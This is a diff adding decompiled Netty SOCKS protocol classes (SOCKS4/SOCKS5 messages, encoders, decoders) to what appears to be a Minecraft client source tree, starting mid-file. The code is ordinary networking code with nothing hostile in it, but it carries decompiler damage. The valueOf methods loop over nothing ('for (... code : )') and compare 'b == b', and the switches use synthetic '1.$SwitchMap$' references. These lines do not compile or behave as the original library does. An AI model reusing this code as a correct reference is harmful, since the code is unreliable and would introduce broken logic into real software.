+    appendHextet(sb, src, i);
+  }
+  
+  private static void appendHextet(StringBuilder sb, byte[] src, int i) {
+    StringUtil.toHexString(sb, src, i << 1, 2);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksInitRequest.java b/src/minecraft/io/netty/handler/codec/socks/SocksInitRequest.java
new file mode 100644
index 0000000..f002c28
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksInitRequest.java
@@ -0,0 +1,57 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksInitRequest
+  extends SocksRequest
+{
+  private final List<SocksAuthScheme> authSchemes;
+  
+  public SocksInitRequest(List<SocksAuthScheme> authSchemes)
+  {
+    super(SocksRequestType.INIT);
+    if (authSchemes == null) {
+      throw new NullPointerException("authSchemes");
+    }
+    this.authSchemes = authSchemes;
+  }
+  
+
+
+
+
+  public List<SocksAuthScheme> authSchemes()
+  {
+    return Collections.unmodifiableList(authSchemes);
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(protocolVersion().byteValue());
+    byteBuf.writeByte(authSchemes.size());
+    for (SocksAuthScheme authScheme : authSchemes) {
+      byteBuf.writeByte(authScheme.byteValue());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksInitRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksInitRequestDecoder.java
new file mode 100644
index 0000000..0898390
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksInitRequestDecoder.java
@@ -0,0 +1,80 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksInitRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_INIT_REQUEST_DECODER";
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_INIT_REQUEST_DECODER";
+  }
+  
+  private final List<SocksAuthScheme> authSchemes = new ArrayList();
+  private SocksProtocolVersion version;
+  private byte authSchemeNum;
+  private SocksRequest msg = SocksCommonUtils.UNKNOWN_SOCKS_REQUEST;
+  
+  public SocksInitRequestDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf byteBuf, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksInitRequestDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksProtocolVersion.valueOf(byteBuf.readByte());
+      if (version == SocksProtocolVersion.SOCKS5)
+      {
+
+        checkpoint(State.READ_AUTH_SCHEMES); }
+      break;
+    case 2: 
+      authSchemes.clear();
+      authSchemeNum = byteBuf.readByte();
+      for (int i = 0; i < authSchemeNum; i++) {
+        authSchemes.add(SocksAuthScheme.valueOf(byteBuf.readByte()));
+      }
+      msg = new SocksInitRequest(authSchemes);
+    }
+    
+    
+    ctx.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_AUTH_SCHEMES;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksInitResponse.java b/src/minecraft/io/netty/handler/codec/socks/SocksInitResponse.java
new file mode 100644
index 0000000..6232758
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksInitResponse.java
@@ -0,0 +1,51 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class SocksInitResponse
+  extends SocksResponse
+{
+  private final SocksAuthScheme authScheme;
+  
+  public SocksInitResponse(SocksAuthScheme authScheme)
+  {
+    super(SocksResponseType.INIT);
+    if (authScheme == null) {
+      throw new NullPointerException("authScheme");
+    }
+    this.authScheme = authScheme;
+  }
+  
+
+
+
+
+  public SocksAuthScheme authScheme()
+  {
+    return authScheme;
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf)
+  {
+    byteBuf.writeByte(protocolVersion().byteValue());
+    byteBuf.writeByte(authScheme.byteValue());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksInitResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksInitResponseDecoder.java
new file mode 100644
index 0000000..ec1d31d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksInitResponseDecoder.java
@@ -0,0 +1,75 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ReplayingDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksInitResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  private static final String name = "SOCKS_INIT_RESPONSE_DECODER";
+  private SocksProtocolVersion version;
+  private SocksAuthScheme authScheme;
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_INIT_RESPONSE_DECODER";
+  }
+  
+
+
+
+  private SocksResponse msg = SocksCommonUtils.UNKNOWN_SOCKS_RESPONSE;
+  
+  public SocksInitResponseDecoder() {
+    super(State.CHECK_PROTOCOL_VERSION);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf byteBuf, List<Object> out) throws Exception
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$socks$SocksInitResponseDecoder$State[((State)state()).ordinal()]) {
+    case 1: 
+      version = SocksProtocolVersion.valueOf(byteBuf.readByte());
+      if (version == SocksProtocolVersion.SOCKS5)
+      {
+
+        checkpoint(State.READ_PREFFERED_AUTH_TYPE); }
+      break;
+    case 2: 
+      authScheme = SocksAuthScheme.valueOf(byteBuf.readByte());
+      msg = new SocksInitResponse(authScheme);
+    }
+    
+    
+    ctx.pipeline().remove(this);
+    out.add(msg);
+  }
+  
+  static enum State {
+    CHECK_PROTOCOL_VERSION, 
+    READ_PREFFERED_AUTH_TYPE;
+    
+    private State() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksMessage.java b/src/minecraft/io/netty/handler/codec/socks/SocksMessage.java
new file mode 100644
index 0000000..bacad94
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksMessage.java
@@ -0,0 +1,59 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SocksMessage
+{
+  private final SocksMessageType type;
+  private final SocksProtocolVersion protocolVersion = SocksProtocolVersion.SOCKS5;
+  
+  protected SocksMessage(SocksMessageType type) {
+    if (type == null) {
+      throw new NullPointerException("type");
+    }
+    this.type = type;
+  }
+  
+
+
+
+
+  public SocksMessageType type()
+  {
+    return type;
+  }
+  
+
+
+
+
+  public SocksProtocolVersion protocolVersion()
+  {
+    return protocolVersion;
+  }
+  
+  @Deprecated
+  public abstract void encodeAsByteBuf(ByteBuf paramByteBuf);
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksMessageEncoder.java b/src/minecraft/io/netty/handler/codec/socks/SocksMessageEncoder.java
new file mode 100644
index 0000000..681f240
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksMessageEncoder.java
@@ -0,0 +1,46 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class SocksMessageEncoder
+  extends MessageToByteEncoder<SocksMessage>
+{
+  private static final String name = "SOCKS_MESSAGE_ENCODER";
+  
+  public SocksMessageEncoder() {}
+  
+  @Deprecated
+  public static String getName()
+  {
+    return "SOCKS_MESSAGE_ENCODER";
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, SocksMessage msg, ByteBuf out)
+    throws Exception
+  {
+    msg.encodeAsByteBuf(out);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksMessageType.java b/src/minecraft/io/netty/handler/codec/socks/SocksMessageType.java
new file mode 100644
index 0000000..f2bc893
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksMessageType.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.socks;
+
+public enum SocksMessageType
+{
+  REQUEST,  RESPONSE,  UNKNOWN;
+  
+  private SocksMessageType() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksProtocolVersion.java b/src/minecraft/io/netty/handler/codec/socks/SocksProtocolVersion.java
new file mode 100644
index 0000000..ac3f088
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksProtocolVersion.java
@@ -0,0 +1,50 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksProtocolVersion
+{
+  SOCKS4a((byte)4), 
+  SOCKS5((byte)5), 
+  UNKNOWN((byte)-1);
+  
+  private final byte b;
+  
+  private SocksProtocolVersion(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksProtocolVersion fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksProtocolVersion valueOf(byte b) {
+    for (SocksProtocolVersion code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNKNOWN;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksRequest.java b/src/minecraft/io/netty/handler/codec/socks/SocksRequest.java
new file mode 100644
index 0000000..709aca3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksRequest.java
@@ -0,0 +1,46 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SocksRequest
+  extends SocksMessage
+{
+  private final SocksRequestType requestType;
+  
+
+
+
+
+
+
+
+
+
+
+  protected SocksRequest(SocksRequestType requestType)
+  {
+    super(SocksMessageType.REQUEST);
+    if (requestType == null) {
+      throw new NullPointerException("requestType");
+    }
+    this.requestType = requestType;
+  }
+  
+
+
+
+
+  public SocksRequestType requestType()
+  {
+    return requestType;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksRequestType.java b/src/minecraft/io/netty/handler/codec/socks/SocksRequestType.java
new file mode 100644
index 0000000..c0e4a88
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksRequestType.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.socks;
+
+public enum SocksRequestType
+{
+  INIT,  AUTH,  CMD,  UNKNOWN;
+  
+  private SocksRequestType() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksResponse.java b/src/minecraft/io/netty/handler/codec/socks/SocksResponse.java
new file mode 100644
index 0000000..aa0216f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksResponse.java
@@ -0,0 +1,46 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SocksResponse
+  extends SocksMessage
+{
+  private final SocksResponseType responseType;
+  
+
+
+
+
+
+
+
+
+
+
+  protected SocksResponse(SocksResponseType responseType)
+  {
+    super(SocksMessageType.RESPONSE);
+    if (responseType == null) {
+      throw new NullPointerException("responseType");
+    }
+    this.responseType = responseType;
+  }
+  
+
+
+
+
+  public SocksResponseType responseType()
+  {
+    return responseType;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksResponseType.java b/src/minecraft/io/netty/handler/codec/socks/SocksResponseType.java
new file mode 100644
index 0000000..144c6f6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksResponseType.java
@@ -0,0 +1,8 @@
+package io.netty.handler.codec.socks;
+
+public enum SocksResponseType
+{
+  INIT,  AUTH,  CMD,  UNKNOWN;
+  
+  private SocksResponseType() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/SocksSubnegotiationVersion.java b/src/minecraft/io/netty/handler/codec/socks/SocksSubnegotiationVersion.java
new file mode 100644
index 0000000..691164b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/SocksSubnegotiationVersion.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.socks;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksSubnegotiationVersion
+{
+  AUTH_PASSWORD((byte)1), 
+  UNKNOWN((byte)-1);
+  
+  private final byte b;
+  
+  private SocksSubnegotiationVersion(byte b) {
+    this.b = b;
+  }
+  
+
+
+  @Deprecated
+  public static SocksSubnegotiationVersion fromByte(byte b)
+  {
+    return valueOf(b);
+  }
+  
+  public static SocksSubnegotiationVersion valueOf(byte b) {
+    for (SocksSubnegotiationVersion code : ) {
+      if (b == b) {
+        return code;
+      }
+    }
+    return UNKNOWN;
+  }
+  
+  public byte byteValue() {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/UnknownSocksRequest.java b/src/minecraft/io/netty/handler/codec/socks/UnknownSocksRequest.java
new file mode 100644
index 0000000..cb6c5ec
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/UnknownSocksRequest.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnknownSocksRequest
+  extends SocksRequest
+{
+  public UnknownSocksRequest()
+  {
+    super(SocksRequestType.UNKNOWN);
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf) {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/socks/UnknownSocksResponse.java b/src/minecraft/io/netty/handler/codec/socks/UnknownSocksResponse.java
new file mode 100644
index 0000000..4ef70bc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socks/UnknownSocksResponse.java
@@ -0,0 +1,34 @@
+package io.netty.handler.codec.socks;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UnknownSocksResponse
+  extends SocksResponse
+{
+  public UnknownSocksResponse()
+  {
+    super(SocksResponseType.UNKNOWN);
+  }
+  
+  public void encodeAsByteBuf(ByteBuf byteBuf) {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/AbstractSocksMessage.java b/src/minecraft/io/netty/handler/codec/socksx/AbstractSocksMessage.java
new file mode 100644
index 0000000..ca30859
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/AbstractSocksMessage.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.socksx;
+
+import io.netty.handler.codec.DecoderResult;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractSocksMessage
+  implements SocksMessage
+{
+  private DecoderResult decoderResult = DecoderResult.SUCCESS;
+  
+  public AbstractSocksMessage() {}
+  
+  public DecoderResult decoderResult() { return decoderResult; }
+  
+
+  public void setDecoderResult(DecoderResult decoderResult)
+  {
+    if (decoderResult == null) {
+      throw new NullPointerException("decoderResult");
+    }
+    this.decoderResult = decoderResult;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/SocksMessage.java b/src/minecraft/io/netty/handler/codec/socksx/SocksMessage.java
new file mode 100644
index 0000000..5ce60c5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/SocksMessage.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.socksx;
+
+import io.netty.handler.codec.DecoderResultProvider;
+
+public abstract interface SocksMessage
+  extends DecoderResultProvider
+{
+  public abstract SocksVersion version();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/SocksPortUnificationServerHandler.java b/src/minecraft/io/netty/handler/codec/socksx/SocksPortUnificationServerHandler.java
new file mode 100644
index 0000000..b43174e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/SocksPortUnificationServerHandler.java
@@ -0,0 +1,104 @@
+package io.netty.handler.codec.socksx;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.handler.codec.socksx.v4.Socks4ServerDecoder;
+import io.netty.handler.codec.socksx.v4.Socks4ServerEncoder;
+import io.netty.handler.codec.socksx.v5.Socks5InitialRequestDecoder;
+import io.netty.handler.codec.socksx.v5.Socks5ServerEncoder;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SocksPortUnificationServerHandler
+  extends ByteToMessageDecoder
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(SocksPortUnificationServerHandler.class);
+  
+
+  private final Socks5ServerEncoder socks5encoder;
+  
+
+
+  public SocksPortUnificationServerHandler()
+  {
+    this(Socks5ServerEncoder.DEFAULT);
+  }
+  
+
+
+
+  public SocksPortUnificationServerHandler(Socks5ServerEncoder socks5encoder)
+  {
+    if (socks5encoder == null) {
+      throw new NullPointerException("socks5encoder");
+    }
+    
+    this.socks5encoder = socks5encoder;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    int readerIndex = in.readerIndex();
+    if (in.writerIndex() == readerIndex) {
+      return;
+    }
+    
+    ChannelPipeline p = ctx.pipeline();
+    byte versionVal = in.getByte(readerIndex);
+    SocksVersion version = SocksVersion.valueOf(versionVal);
+    
+    switch (1.$SwitchMap$io$netty$handler$codec$socksx$SocksVersion[version.ordinal()]) {
+    case 1: 
+      logKnownVersion(ctx, version);
+      p.addAfter(ctx.name(), null, Socks4ServerEncoder.INSTANCE);
+      p.addAfter(ctx.name(), null, new Socks4ServerDecoder());
+      break;
+    case 2: 
+      logKnownVersion(ctx, version);
+      p.addAfter(ctx.name(), null, socks5encoder);
+      p.addAfter(ctx.name(), null, new Socks5InitialRequestDecoder());
+      break;
+    default: 
+      logUnknownVersion(ctx, versionVal);
+      in.skipBytes(in.readableBytes());
+      ctx.close();
+      return;
+    }
+    
+    p.remove(this);
+  }
+  
+  private static void logKnownVersion(ChannelHandlerContext ctx, SocksVersion version) {
+    logger.debug("{} Protocol version: {}({})", ctx.channel(), version);
+  }
+  
+  private static void logUnknownVersion(ChannelHandlerContext ctx, byte versionVal) {
+    if (logger.isDebugEnabled()) {
+      logger.debug("{} Unknown protocol version: {}", ctx.channel(), Integer.valueOf(versionVal & 0xFF));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/SocksVersion.java b/src/minecraft/io/netty/handler/codec/socksx/SocksVersion.java
new file mode 100644
index 0000000..4a54e77
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/SocksVersion.java
@@ -0,0 +1,64 @@
+package io.netty.handler.codec.socksx;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum SocksVersion
+{
+  SOCKS4a((byte)4), 
+  
+
+
+  SOCKS5((byte)5), 
+  
+
+
+  UNKNOWN((byte)-1);
+  
+
+
+  private final byte b;
+  
+
+  public static SocksVersion valueOf(byte b)
+  {
+    if (b == SOCKS4a.byteValue()) {
+      return SOCKS4a;
+    }
+    if (b == SOCKS5.byteValue()) {
+      return SOCKS5;
+    }
+    return UNKNOWN;
+  }
+  
+
+  private SocksVersion(byte b)
+  {
+    this.b = b;
+  }
+  
+
+
+  public byte byteValue()
+  {
+    return b;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/AbstractSocks4Message.java b/src/minecraft/io/netty/handler/codec/socksx/v4/AbstractSocks4Message.java
new file mode 100644
index 0000000..87d54d5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/AbstractSocks4Message.java
@@ -0,0 +1,30 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.handler.codec.socksx.AbstractSocksMessage;
+import io.netty.handler.codec.socksx.SocksVersion;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractSocks4Message
+  extends AbstractSocksMessage
+  implements Socks4Message
+{
+  public AbstractSocks4Message() {}
+  
+  public final SocksVersion version()
+  {
+    return SocksVersion.SOCKS4a;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandRequest.java
new file mode 100644
index 0000000..ec52d10
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandRequest.java
@@ -0,0 +1,116 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.internal.StringUtil;
+import java.net.IDN;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks4CommandRequest
+  extends AbstractSocks4Message
+  implements Socks4CommandRequest
+{
+  private final Socks4CommandType type;
+  private final String dstAddr;
+  private final int dstPort;
+  private final String userId;
+  
+  public DefaultSocks4CommandRequest(Socks4CommandType type, String dstAddr, int dstPort)
+  {
+    this(type, dstAddr, dstPort, "");
+  }
+  
+
+
+
+
+
+
+
+  public DefaultSocks4CommandRequest(Socks4CommandType type, String dstAddr, int dstPort, String userId)
+  {
+    if (type == null) {
+      throw new NullPointerException("type");
+    }
+    if (dstAddr == null) {
+      throw new NullPointerException("dstAddr");
+    }
+    if ((dstPort <= 0) || (dstPort >= 65536)) {
+      throw new IllegalArgumentException("dstPort: " + dstPort + " (expected: 1~65535)");
+    }
+    if (userId == null) {
+      throw new NullPointerException("userId");
+    }
+    
+    this.userId = userId;
+    this.type = type;
+    this.dstAddr = IDN.toASCII(dstAddr);
+    this.dstPort = dstPort;
+  }
+  
+  public Socks4CommandType type()
+  {
+    return type;
+  }
+  
+  public String dstAddr()
+  {
+    return dstAddr;
+  }
+  
+  public int dstPort()
+  {
+    return dstPort;
+  }
+  
+  public String userId()
+  {
+    return userId;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(128);
+    buf.append(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", type: ");
+    } else {
+      buf.append("(type: ");
+    }
+    buf.append(type());
+    buf.append(", dstAddr: ");
+    buf.append(dstAddr());
+    buf.append(", dstPort: ");
+    buf.append(dstPort());
+    buf.append(", userId: ");
+    buf.append(userId());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandResponse.java
new file mode 100644
index 0000000..93b0f4b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/DefaultSocks4CommandResponse.java
@@ -0,0 +1,101 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.handler.codec.DecoderResult;
+import io.netty.util.NetUtil;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultSocks4CommandResponse
+  extends AbstractSocks4Message
+  implements Socks4CommandResponse
+{
+  private final Socks4CommandStatus status;
+  private final String dstAddr;
+  private final int dstPort;
+  
+  public DefaultSocks4CommandResponse(Socks4CommandStatus status)
+  {
+    this(status, null, 0);
+  }
+  
+
+
+
+
+
+
+  public DefaultSocks4CommandResponse(Socks4CommandStatus status, String dstAddr, int dstPort)
+  {
+    if (status == null) {
+      throw new NullPointerException("cmdStatus");
+    }
+    if ((dstAddr != null) && 
+      (!NetUtil.isValidIpV4Address(dstAddr))) {
+      throw new IllegalArgumentException("dstAddr: " + dstAddr + " (expected: a valid IPv4 address)");
+    }
+    
+
+    if ((dstPort < 0) || (dstPort > 65535)) {
+      throw new IllegalArgumentException("dstPort: " + dstPort + " (expected: 0~65535)");
+    }
+    
+    this.status = status;
+    this.dstAddr = dstAddr;
+    this.dstPort = dstPort;
+  }
+  
+  public Socks4CommandStatus status()
+  {
+    return status;
+  }
+  
+  public String dstAddr()
+  {
+    return dstAddr;
+  }
+  
+  public int dstPort()
+  {
+    return dstPort;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(96);
+    buf.append(StringUtil.simpleClassName(this));
+    
+    DecoderResult decoderResult = decoderResult();
+    if (!decoderResult.isSuccess()) {
+      buf.append("(decoderResult: ");
+      buf.append(decoderResult);
+      buf.append(", dstAddr: ");
+    } else {
+      buf.append("(dstAddr: ");
+    }
+    buf.append(dstAddr());
+    buf.append(", dstPort: ");
+    buf.append(dstPort());
+    buf.append(')');
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientDecoder.java
new file mode 100644
index 0000000..9c3abde
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientDecoder.java
@@ -0,0 +1,92 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.NetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks4ClientDecoder
+  extends ReplayingDecoder<State>
+{
+  static enum State
+  {
+    START, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {} }
+  
+  public Socks4ClientDecoder() { super(State.START);
+    setSingleDecode(true);
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v4$Socks4ClientDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        int version = in.readUnsignedByte();
+        if (version != 0) {
+          throw new DecoderException("unsupported reply version: " + version + " (expected: 0)");
+        }
+        
+        Socks4CommandStatus status = Socks4CommandStatus.valueOf(in.readByte());
+        int dstPort = in.readUnsignedShort();
+        String dstAddr = NetUtil.intToIpAddress(in.readInt());
+        
+        out.add(new DefaultSocks4CommandResponse(status, dstAddr, dstPort));
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    Socks4CommandResponse m = new DefaultSocks4CommandResponse(Socks4CommandStatus.REJECTED_OR_FAILED);
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+    
+    checkpoint(State.FAILURE);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientEncoder.java b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientEncoder.java
new file mode 100644
index 0000000..36298c7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v4/Socks4ClientEncoder.java
@@ -0,0 +1,58 @@
+package io.netty.handler.codec.socksx.v4;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import io.netty.util.NetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public final class Socks4ClientEncoder
+  extends MessageToByteEncoder<Socks4CommandRequest>
+{
+  public static final Socks4ClientEncoder INSTANCE = new Socks4ClientEncoder();
+  
+  private static final byte[] IPv4_DOMAIN_MARKER = { 0, 0, 0, 1 };
+  
+  private Socks4ClientEncoder() {}
+  
+  protected void encode(ChannelHandlerContext ctx, Socks4CommandRequest msg, ByteBuf out) throws Exception
+  {
+    out.writeByte(msg.version().byteValue());
+    out.writeByte(msg.type().byteValue());
+    out.writeShort(msg.dstPort());
+    if (NetUtil.isValidIpV4Address(msg.dstAddr())) {
+      out.writeBytes(NetUtil.createByteArrayFromIpAddressString(msg.dstAddr()));
+      ByteBufUtil.writeAscii(out, msg.userId());
+      out.writeByte(0);
+    } else {
+      out.writeBytes(IPv4_DOMAIN_MARKER);
+      ByteBufUtil.writeAscii(out, msg.userId());
+      out.writeByte(0);
+      ByteBufUtil.writeAscii(out, msg.dstAddr());
+      out.writeByte(0);
+    }
+  }
+}
